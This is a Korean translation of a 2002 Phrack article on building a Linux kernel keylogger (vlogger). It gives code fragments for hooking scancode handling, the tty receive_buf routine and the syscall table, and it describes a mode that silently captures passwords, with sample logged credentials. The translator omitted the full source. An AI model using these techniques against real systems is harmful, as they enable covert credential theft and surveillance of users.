/************************************************************************************/ 　　제목: Linux Kernel Keylogger 　　　　번역: OverHead Team at Wowhacker Zenky(zenky77@hananet.net) 　　　　rd 가 외국인이다 보니, 영어가 서툴군요 ^^; 고생 좀 했습니다. 　　　　 　　　　참고: 이 글을 읽기 전에 Phrack 50 - 5 와 'Kernel Based Keylogger' 　　　　(http://www.phreedom.org/article.php?id=28) 를 읽어보시길 추천합니다. 　　　　 * 오역 및 오타가 있으면 지적해주시기 바랍니다. * /************************************************************************************/ ==Phrack Inc.== Volume 0x0b, Issue 0x3b, Phile #0x0e of 0x12 |=--------------------=[ 리눅스 커널 키 로그 작성하기 ]=--------------------=| |=---------------------------------------------------------------------------=| |=--------------------=[ rd ]=---------------------=| |=--------------------------=[ June 19th, 2002 ]=----------------------------=| --[ 차례 1 - 서론 2 - 리눅스 키보드 driver 가 어떻게 수행되는가? 3 - 커널 기반의 키로거로의 접근 3.1 - 인터럽트 핸들러 3.2 ? 함수 전달 값 훔치기 3.2.1 - handle_scancode 3.2.2 - put_queue 3.2.3 - receive_buf 3.2.4 - tty_read 3.2.5 - sys_read/sys_write 4 - vlogger 4.1 ? 시스템 콜과 tty로의 접근 4.2 - 특징 4.3 - 어떻게 사용하는가? 5 - 감사의 글 6 ? 참고문헌 7 - Keylogger 소스 --[ 1 - 서론 이 문서는 두 부분으로 나뉘어 지는데, 첫 번째 부분은 리눅스 키보드 driver가 수행되는 과정을 설명해줍니다. 그리고 커널 기반의 키로거를 만드는 방법에 대해 이야기합니다. 이 부분은 커널 기 반의 키로거를 만들려고 하는 사람이나 (현재 리눅스 환경에서 지원되지 않고 있는) 키보드 driver 를 만들려는 사람에게 유용할겁니다. 또는 리눅스 키보드 driver의 많은 특징을 가져와 프로그래밍 을 하려는 사람에게 유용할겁니다. 두 번째 부분은 vlogger의 상세한 설명과 뛰어난 커널 기반의 키로거와 이 것을 어떻게 사용하는 가에 대해 설명할겁니다. 이 키로거는 흥미로운 코드로 white hat, black hat에 의한 honeypots 혹 은 시스템 공격에 널리 이용될 것입니다. 잘 알려진 키로거는 거의 사용자 영역 기반의 키로거 (like iob , uberkey , unixkeylogger ... )이지만, 커널 기반의 키로거 도 여럿 있습니다. 초창기 커널 기반 키로거는 halflife의 linspy로 Phrack 50-4 (%필자주% Phrack 50-5 인것 같군요^^;)에 서 소개되었고,내가 이 글을 쓰고 있던 최근에 mercenary가 'Kernel Based Keylogger' (%필자주% http://www.phreedom.org/article.php?id=28) 라는 글에서 kkeyloger를 소개했습니다. 위의 커널 기반의 키로거의 공통된 방법은 sys_read 나 sys_write 라는 system 콜을 이용해서 사용 자가 key를 치는 것을 가로채서 log로 저장하는 인데, 이러한 접근 방법은 꽤 불안하고 sys_read(or sys_write)는 일반적인 읽기,쓰기 작업에서 쓰이는 것이기 때문에, 시스템 성능을 상 당히 떨어뜨린다 ; sys_read는 프로세서가 어떤 읽기 작업을 device(file, serial port나 키보드 같은 곳) 에서 얻으려 할 때 발생되는 것이다. vlogger에서 tty 버퍼처리 함수에서 키로그를 가져 올 좀더 현명한 방법을 채용했습니다. 　이 reader는 Linux Loadable Kernel Module 의 정보를 소유 할 수 있도록 도와주며, 아래의 글 을 읽기 전에 [1],[2] 장의 글을 먼저 읽기를 추천합니다. --[ 2 - 리눅스 키보드 driver 가 어떻게 수행되는가? 콘솔 키보드가 어떻게 사용자 입력을 처리 하는지를 아래와 같이 살펴봅시다 : _____________ _________ _________ / \ put_queue| |receive_buf| |tty_read /handle_scancode\-------->|tty_queue|---------->|tty_ldisc|-------> \ / | | |buffer | \_____________/ |_________| |_________| _________ ____________ | |sys_read| | --->|/dev/ttyX|------->|user process| | | | | |_________| |____________| Figure 1 첫 번째로, 당신이 키보드에 키를 누를 때, 그 키보드는 키에 걸맞은 scancodes를 키보드 driver 에게 보낼 것이다. 단 한번의 키 클릭은 여섯 번의 scancodes까지 연속을 일으킬 수 있습니다. %필자주% key press는 Key 를 누를 때, key release는 Key 를 놓을 때를 말합니다. handle_scancode() 함수는 scancodes의 흐름을 분석하고 key press 나 key release 이벤트를 발생 시키며, kbd_translate() 함수를 이용해 translation-table 사용하는데, 각 키는 1-127 범위 안의 서로 다른 키코드 k를 제공합니다. 키보드를 누를 땐, 키코드 k가 생성되고, 키보드를 놓을 땐 키 코드 k+128 을 만들어 줍니다. 예를 들면, 키코드 a 는 30 이란 값을 가지는데,'a' key를 누르면 키코드 30을 생성하며, 키를 놓을 때에는 'a' 값은 키코드 158(128+ 30)을 생성하게 됩니다. Next, 키코드 s는 키맵에 있는 적당한 문자로 변환됩니다. 이런 일련의 과정은 좀 복잡한 한데, 키보드 의 8개의 옵션 키( shift keys - Shift, AltGr, Control, Alt,ShiftL, ShiftR, CtrlL and CtrlR )와 키코드의 숫자 값과 결합되어서 키맵에 따라 글자가 결정됩니다. 이런 수행의 결과로, 문자를 포함하는 값은 tty queue에 올려져 tty_flip_buffer에 저장됩니다. tty line 의 통제 방법은, receive_buf ( ) 함수를 주기적으로 호출해서 문자를 tty_flip_buffer로 부터 가져와 tty의 read queue 넣는 것 방식입니다. 　user process 가 사용자의 입력을 요구할 때, read() 함수를 호출해서 stdin(표준입력) 프로세서 를 이용합니다. sys_read() 함수는 read() 함수를 호출해서 file_operation 구조로 되어있는 tty(ex /dev/tty0)의 입력 문자와 return process값을 비교해서(어떤 것이 tty_read를 가리키는지) 를 알아냅니다. 키보드 driver는 4가지 모드를 선택할 수 있습니다.: - scancode (RAW MODE): 입력 받은 값의 scancode 프로그램이 획득하는 방식으로, 키보드 driver의 값을 이어받아서 프로그램에 사용합니다. (ex :X11) - 키코드 (MEDIUMRAW MODE): key press 와 key relesed의 (키코드 id를 받아) 그 정보를 프로그램에서 이용합니다. - ASCII (XLATE MODE):키맵에서 효율적으로 정의된 8-bit 인 코딩(8bit ASCII 지칭) 된 문자를 프로그램에 이용합니다. - 유니코드 (UNICODE MODE): ASCII방식과의 단 한가지 차이점은 아스키는 Ascii 0 에서 Ascii 9를 이용해 UTF8 유니코드 문자를 10진법으로 전달하지만, 유니코드는 Hex 0 에서 Hex 9 까지를 이용해 16진수(4-digit)표현을 해서 전달한다는 점이다. 키맵에선 UTF8 sequence (U+XXXX의 모조 문자를 포함하며, X는 16진수를 의미)를 설정할 수 있게 합니다. 프로그램에 따라 어떤 데이터 type을 쓸 것인지 영향을 끼칩니다. scancode, 키코드 그리고 키맵 s에 더 많은 상세한 설명을 위해서 꼭 [3]을 읽어주세요. --[ 3 - 커널 기반의 키로거로의 접근 　커널 기반의 keylogger에선 키보드의 쓰기 인터럽트 핸들러의 권한을 가지거나 키보드 입력 함수 의 값을 훔치는 것 이 두 가지 방법이 있습니다. ----[ 3.1 - 인터럽트 핸들러 　키보드를 칠 때, 우리는 키보드 인터럽트 핸들러를 사용할 수 있게 되며, 인텔 아키텍처에선 키 보드 컨트롤러 IRQ는 1번입니다. 키보드 인터럽트를 받았을 때, 키보드 핸들러는 scancode를 읽어 서 키보드 상태를 파악하고, 키보드 이벤트는 0x60(키보드 data register ) port와 0x64 ( 키보드 status register ) 를 경유해서 이용해서 데이터를 읽고 씁니다. /*이 코드는 인텔 아키텍처의 특성입니다 * / #define 키보드_IRQ 1 #define KBD_STATUS_REG 0x64 #define KBD_CNTL_REG 0x64 #define KBD_DATA_REG 0x60 #define kbd_read_input() inb(KBD_DATA_REG) #define kbd_read_status() inb(KBD_STATUS_REG) #define kbd_write_output(val) outb(val, KBD_DATA_REG) #define kbd_write_command(val) outb(val, KBD_CNTL_REG) /* 레지스터에 사용할 IRQ를 설정합니다. */ request_irq(키보드_IRQ, my_키보드_irq_핸들러, 0, "my 키보드", NULL); In my_키보드_irq_핸들러(): scancode = kbd_read_input(); key_status = kbd_read_status(); log_scancode(scancode); 　이런 방식은 플랫폼 의존적입니다. 그래서 여러 플랫폼에 이식하기 쉽지 않을 겁니다. 그리고, Linux box를 망치고 싶지 않다면, 인터럽트 핸들러를 만질 때 조심해서 다뤄야 될 겁니다 ;) ----[ 3.2 - 함수 전달 값 훔치기 Figure 1에 기반에서 ,우리는 keylogger가 사용자의 입력을 handle_scancode( ), put_queue( ), receive_buf( ), tty_read( ) 그리고 sys_read() 함수를 통해 hijacking 할 수 있는 권한 가질 수 있는 방법을 알게 되었지만, tty_insert_flip_char() 함수 는INLINE 함수 이기 때문 에 문자를 가로챌 수 없다는 것을 인지해야 될 것 입니다. ------[ 3.2.1 - handle_scancode 　이건 키보드 driver 에 대한 목록이다.(키보드.c 참고) 키보드로부터 입력 받은 scancode에 의해 handling 됩니다. # /usr/src/linux/drives/char/키보드.c void handle_scancode(unsigned char scancode, int down); 　우리는 원래의 hadle_scancode() 함수를 우리 소유의 모든 scancode의 로그와 바꿀 수 있습니다. 그러나, handle_scancode( )는 전역변수를 가지고 있지않고, 함수가 export 되어있지 않습니다. 그렇기 때문에, Silvio가 소개한 kernel function hijacking 테크닉을 이용해보겠습니다.(section [5] 참조) /* 아래 code 는 snippet는 Plasmoid 가 쓴 것입니다.*/ static struct semaphore hs_sem, log_sem; static int logging=1; #define CODESIZE 7 static char hs_code[CODESIZE]; static char hs_jump[CODESIZE] = "\xb8\x00\x00\x00\x00" /* movl $0,%eax */ "\xff\xe0" /* jmp *%eax */ ; void (*handle_scancode) (unsigned char, int) = (void (*)(unsigned char, int)) HS_ADDRESS; void _handle_scancode(unsigned char scancode, int keydown) { if (logging && keydown) log_scancode(scancode, LOGFILE); /* * 원래 handle_scancode 코드의 첫 번째 바이트를 복구시키시오. 복구된 함수 * 를 호출하고,복구전의 jump 코드를 호출하시오. hs_sem 코드는 세마포어에 * 의해 보호되고 있습니다. 우리는 하나의 CPU 만이 동작하는걸 원합니다. */ down(&hs_sem); memcpy(handle_scancode, hs_code, CODESIZE); handle_scancode(scancode, keydown); memcpy(handle_scancode, hs_jump, CODESIZE); up(&hs_sem); } HS_ADDRESS is set by the Makefile executing this command HS_ADDRESS=0x$(word 1,$(shell ksyms -a | grep handle_scancode)) 　3.1과 비슷한 방법을 이용했으며, 이 방법은 tty가 호출됐건 안됐건 상관없이, X 윈도우상의 console에서 키를 칠 때의 log 를 저장할 수 있다는 장점을 가지고 있습니다. 그리고, 정확히 키보드에서 어떤 키( Control , Alt , Shift , Print Screen 등의 특수키도 포함)를 눌렀는지도 알 수 있을것입니다. 그러나, 이 방법은 플랫폼 지향적이라서 다른 종류의 플랫폼에서 사용하긴 힘들 것입니다. 이 방법은 또한 remote session에선 꽤 복잡하기 때문에, 고성능의 logger 가 아니면 keystroke를 log 하는 게 힘들 것입니다. ------[ 3.2.2 - put_queue 　이 함수는 handle_scancode ( ) 호출해서 tty_queue에 문자를 전송합니다. # /usr/src/linux/drives/char/키보드.c void put_queue(int ch); 　이 함수에 인터셉트하기 위해선 3.2.1 장의 테크닉을 이용하면 될 것입니다. ------[ 3.2.3 - receive_buf receive_buf( ) 함수는 저 레벨의 tty driver를 호출하여 하드웨어 라인을 통제 하며 문자를 전송합니다. # /usr/src/linux/drivers/char/n_tty.c */ static void n_tty_receive_buf(struct tty_struct *tty, const unsigned char *cp, char *fp, int count) cp는 버퍼의 입력 문자를 디바이스로부터 받아 전달하는 역할을 합니다. fp는 flag 바이트(%역자주: flag 비트)를 이용하여 어떤 지점에서 어떤 지점으로 문자를 전달하며, 오류정정 등을 하는 코드를 포함한다. 자 이제 tty 구조에 대해 더 깊게 조사해봅시다. # /usr/include/linux/tty.h struct tty_struct { Int magic; struct tty_driver driver; struct tty_ldisc ldisc; struct termios *termios, *termios_locked; ... } # /usr/include/linux/tty_ldisc.h struct tty_ldisc { int magic; char *name; ... void (*receive_buf)(struct tty_struct *, const unsigned char *cp, char *fp, int count); int (*receive_room)(struct tty_struct *); void (*write_wakeup)(struct tty_struct *); }; 　이 함수의 인터셉트에서, receive_buf() 함수를 이용하여 원래 값을 저장하며, ldisc.receive_buf을 설정하여 new_receive_buf() 함수에게 사용자의 입력 값을 저장하도록 명령할 수 있습니다. Ex:tty0 의 키로그 를 들자면 아래와 같습니다. : int fd = open("/dev/tty0", O_RDONLY, 0); struct file *file = fget(fd); struct tty_struct *tty = file->private_data; old_receive_buf = tty->ldisc.receive_buf; tty->ldisc.receive_buf = new_receive_buf; void new_receive_buf(struct tty_struct *tty, const unsigned char *cp, char *fp, int count) { logging(tty, cp, count); //로그 입력 /* 기존의 receive_buf 호출*/ (*old_receive_buf)(tty, cp, fp, count); } ------[ 3.2.4 - tty_read 　이 함수는 프로세서가 문자를 읽기 원할 때 호출 되는 것 으로 sys_read()함수를 이용해서 tty의 값의 문자를 가져옵니다. # /usr/src/linux/drives/char/tty_io.c static ssize_t tty_read(struct file * file, char * buf, size_t count, loff_t *ppos) static struct file_operations tty_fops = { llseek: tty_lseek, read: tty_read, write: tty_write, poll: tty_poll, ioctl: tty_ioctl, open: tty_open, release: tty_release, fasync: tty_fasync, }; To log inputs on the tty0: int fd = open("/dev/tty0", O_RDONLY, 0); struct file *file = fget(fd); old_tty_read = file->f_op->read; file->f_op->read = new_tty_read; ------[ 3.2.5 - sys_read/sys_write 　우리는 read/write 호출의 내용을 로그 하는 우리 자신의 코드에 그 방향을 고치기 위해 sys_read/sys_write 시스템 호출을 도중 가져올 것 입니다. 이 방법은 Phrack 50-4 (%필자주% Phrack 50-5 인 것 같군요^^;) halflife 가 지은 글에서 처음 대두 되었으며, pragmatic 가[2] sector에서 적은 Complete Linux Loadable Kernel Modules" 　(%필자주% http://packetstorm.decepticons.org/docs/hack/LKM_HACKING.html) 　란 글을 읽어 보길 바랍니다. intercept sys_read/sys_write의 코드는 이와 같은 것입니다: extern void *sys_call_table[]; original_sys_read = sys_call_table[__NR_read]; sys_call_table[__NR_read] = new_sys_read; --[ 4 - vlogger 　이 파트는 나의 kernel keylogger 스타일의 방식을 설명하는 섹션이며, 3.2.3 의 sys_read/sys_write 시스템 콜을 이 keylogger에선 좀더 일반적으로 접근하고 있습니다. 난 이 코 드를 커널 2.4.5 , 2.4.7, 2.4.17 그리고 2.4.18 에서 테스트 하였습니다. ----[ 4.1 - 시스템 콜과 tty로의 접근 local(console login)과 remote 접속에 로그인 해서 난 receive_buf()함수의 값을 가로채는 방법을 선택했습니다.(참조 : 3.2.3) 　커널 안에 , tty 구조와 tty_queue 구조는 tty가 사용될때(open tty 될때) 동적으로 할당되었다. 그리하여, tty와 pty가 호출될때 sys_open syscall 인터셉터를 동적으로 hooking 해서 receive_buf ( ) 함수를 이용합니다. // 인터셉트로 System call 호출 original_sys_open = sys_call_table[__NR_open]; sys_call_table[__NR_open] = new_sys_open; // new_sys_open() asmlinkage int new_sys_open(const char *filename, int flags, int mode) { ... // original_sys_open 호출 ret = (*original_sys_open)(filename, flags, mode); if (ret >= 0) { struct tty_struct * tty; ... file = fget(ret); tty = file->private_data; if (tty != NULL && ... tty->ldisc.receive_buf != new_receive_buf) { ... // old receive_buf 저장 old_receive_buf = tty->ldisc.receive_buf; ... /* * init to intercept receive_buf of this tty * tty->ldisc.receive_buf = new_receive_buf; */ init_tty(tty, TTY_INDEX(tty)); } ... } // our new receive_buf() function void new_receive_buf(struct tty_struct *tty, const unsigned char *cp, char *fp, int count) { if (!tty->real_raw && !tty->raw) // raw 모드 무시 // 로그인 한 사용자의 키보드 입력값을 저장할 함수 호출 vlogger_process(tty, cp, count); // 기존 receive_buf 호출 (*old_receive_buf)(tty, cp, fp, count); } ----[ 4.2 - 특징 - local과 remote 두 접속방법에서 모두 키로그를 저장합니다.(tty 경유 혹은 pts) - 각각의 tty와 세션으로 logging이 분리됩니다. 각 tty는 logger buffer를 가지고 있습니다. - 방향키( left, right, up, down ), F1 to F12, Shift+F1 to Shift+F12, Tab, Insert, Delete, End, Home, Page Up, Page Down, BackSpace, ... 등 모든 특수키를 지원합니다. 　 　 - CTRL - U 와 BackSpace 와 같은 line editing을 지원합니다. - (libc등 으로 부터 데이터를 가져와서 ) 표준 시간대를 지원하며 이를 이용하여 Logging 시간 을 저장해줍니다. - 다중 로깅 모드 o Dumb 모드 : 키를 누르는 모든 동작을 기록합니다. o Smart 모드 : 패스워드입력시 자동으로 user id 와 패스워드를 저장해줍니다. Solar Designer and Dug Song[6] 가 적은 "Passive Analysis of SSH (Secure Shell) Traffic " 이란 글에서 쓴 방법과 유사한 방법을 썼는데, 프로그램에서 에코기능(키를 눌렀을 때, 그 문자가 console에 쳐 지는 것을 말함)을 꺼 버린 것을 패스워드가 입력 될 것이라고 생각하는 겁니다. o Normal 모드 : 키 로그 기록을 끕니다. 패스워드를 지정해서 로깅 모드를 켰다 껐다 하기 #define VK_TOGLE_CHAR 29 // CTRL-] #define MAGIC_PASS "31337" // 모드 조절할 때, PASS 키 Type 설정 (%역자주%) ex> 31337 을 친 상태에서 CTRL - ] 를 치면 모드가 변화합니다 :) ----[ 4.3 - 어떻게 사용하는가? 아래와 같이 옵션을 바꾸어 주십시오. // log 파일이 저장되는 디렉토리 정하기 #define LOG_DIR "/tmp/log" //사는 곳의 시간대를 지정하기 %역자주% 한국은 GMT+9 이라는 아시죠 : ) #define TIMEZONE 7*60*60 // GMT+7 // Magic Pass 정하기 #define MAGIC_PASS "31337" 아래와 같이 하면 log file 을 볼 수 있을 겁니다. [root@localhost log]# ls -l total 60 -rw------- 1 root root 633 Jun 19 20:59 pass.log -rw------- 1 root root 37593 Jun 19 18:51 pts11 -rw------- 1 root root 56 Jun 19 19:00 pts20 -rw------- 1 root root 746 Jun 19 20:06 pts26 -rw------- 1 root root 116 Jun 19 19:57 pts29 -rw------- 1 root root 3219 Jun 19 21:30 tty1 -rw------- 1 root root 18028 Jun 19 20:54 tty2 ---in dumb 모드 [root@localhost log]# head tty2 // 로컬 접속 <19/06/2002-20:53:47 uid=501 bash> pwd <19/06/2002-20:53:51 uid=501 bash> uname -a <19/06/2002-20:53:53 uid=501 bash> lsmod <19/06/2002-20:53:56 uid=501 bash> pwd <19/06/2002-20:54:05 uid=501 bash> cd /var/log <19/06/2002-20:54:13 uid=501 bash> tail messages <19/06/2002-20:54:21 uid=501 bash> cd ~ <19/06/2002-20:54:22 uid=501 bash> ls <19/06/2002-20:54:29 uid=501 bash> tty <19/06/2002-20:54:29 uid=501 bash> [UP] [root@localhost log]# tail pts11 // 원격 접속 <19/06/2002-18:48:27 uid=0 bash> cd new <19/06/2002-18:48:28 uid=0 bash> cp -p ~/code . <19/06/2002-18:48:21 uid=0 bash> lsmod <19/06/2002-18:48:27 uid=0 bash> cd /va[TAB][^H][^H]tmp/log/ <19/06/2002-18:48:28 uid=0 bash> ls -l <19/06/2002-18:48:30 uid=0 bash> tail pts11 <19/06/2002-18:48:38 uid=0 bash> [UP] | more <19/06/2002-18:50:44 uid=0 bash> vi vlogertxt <19/06/2002-18:50:48 uid=0 vi> :q <19/06/2002-18:51:14 uid=0 bash> rmmod vlogger --- smart 모드 [root@localhost log]# cat pass.log [19/06/2002-18:28:05 tty=pts/20 uid=501 sudo] USER/CMD sudo traceroute yahoo.com PASS 5hgt6d PASS [19/06/2002-19:59:15 tty=pts/26 uid=0 ssh] USER/CMD ssh guest@host.com PASS guest [19/06/2002-20:50:44 tty=pts/29 uid=504 ftp] USER/CMD open ftp.ilog.fr USER Anonymous PASS heh@heh [19/06/2002-20:59:54 tty=pts/29 uid=504 su] USER/CMD su - PASS asdf1234 이 툴에 관한 새로운 정보가 http://www.thehackerschoice.com/ 에 Update 되었는지 꼭 확인해 주세요. (%역자주% 사이트 광고하는거 같애 ㅡㅡ;; ) --[ 5 ? 감사의 글 plasmoild, skyper 와 아주 유익한 comment를 해주신 THC, vnsecurity와 모든 친구 들 에게 감사드리며, 적절한 영어로 수정해주신 mr.thang 에게 감사의 말씀을 드립니다. (%역자주% 부적절하게 번역해준 나한테는 감사 안하낭 ㅡㅡ;;) --[ 6 ? 참고문헌 [1] Linux Kernel Module Programming http://www.tldp.org/LDP/lkmpg/ [2] Complete Linux Loadable Kernel Modules - Pragmatic 　　http://www.thehackerschoice.com/papers/LKM_HACKING.html [3] The Linux 키보드 driver - Andries Brouwer http://www.linuxjournal.com/lj-issues/issue14/1080.html [4] Abuse of the Linux Kernel for Fun and Profit - Halflife http://www.phrack.com/phrack/50/P50-05 [5] Kernel function hijacking - Silvio Cesare http://www.big.net.au/~silvio/kernel-hijack.txt [6] Passive Analysis of SSH (Secure Shell) Traffic - Solar Designer http://www.openwall.com/advisories/OW-003-ssh-traffic-analysis.txt [7] Kernel Based Keylogger - Mercenary http://packetstorm.decepticons.org/UNIX/security/kernel.keylogger.txt --[ 7 ? Keylogger 소스 * 마지막 소스 코드 부분은 악용의 소지가 있기 때문에 임의로 삭제하였습니다. 이 부분에 대한 자료는 원문 등을 직접 검색하여 참고하시길 바라겠습니다.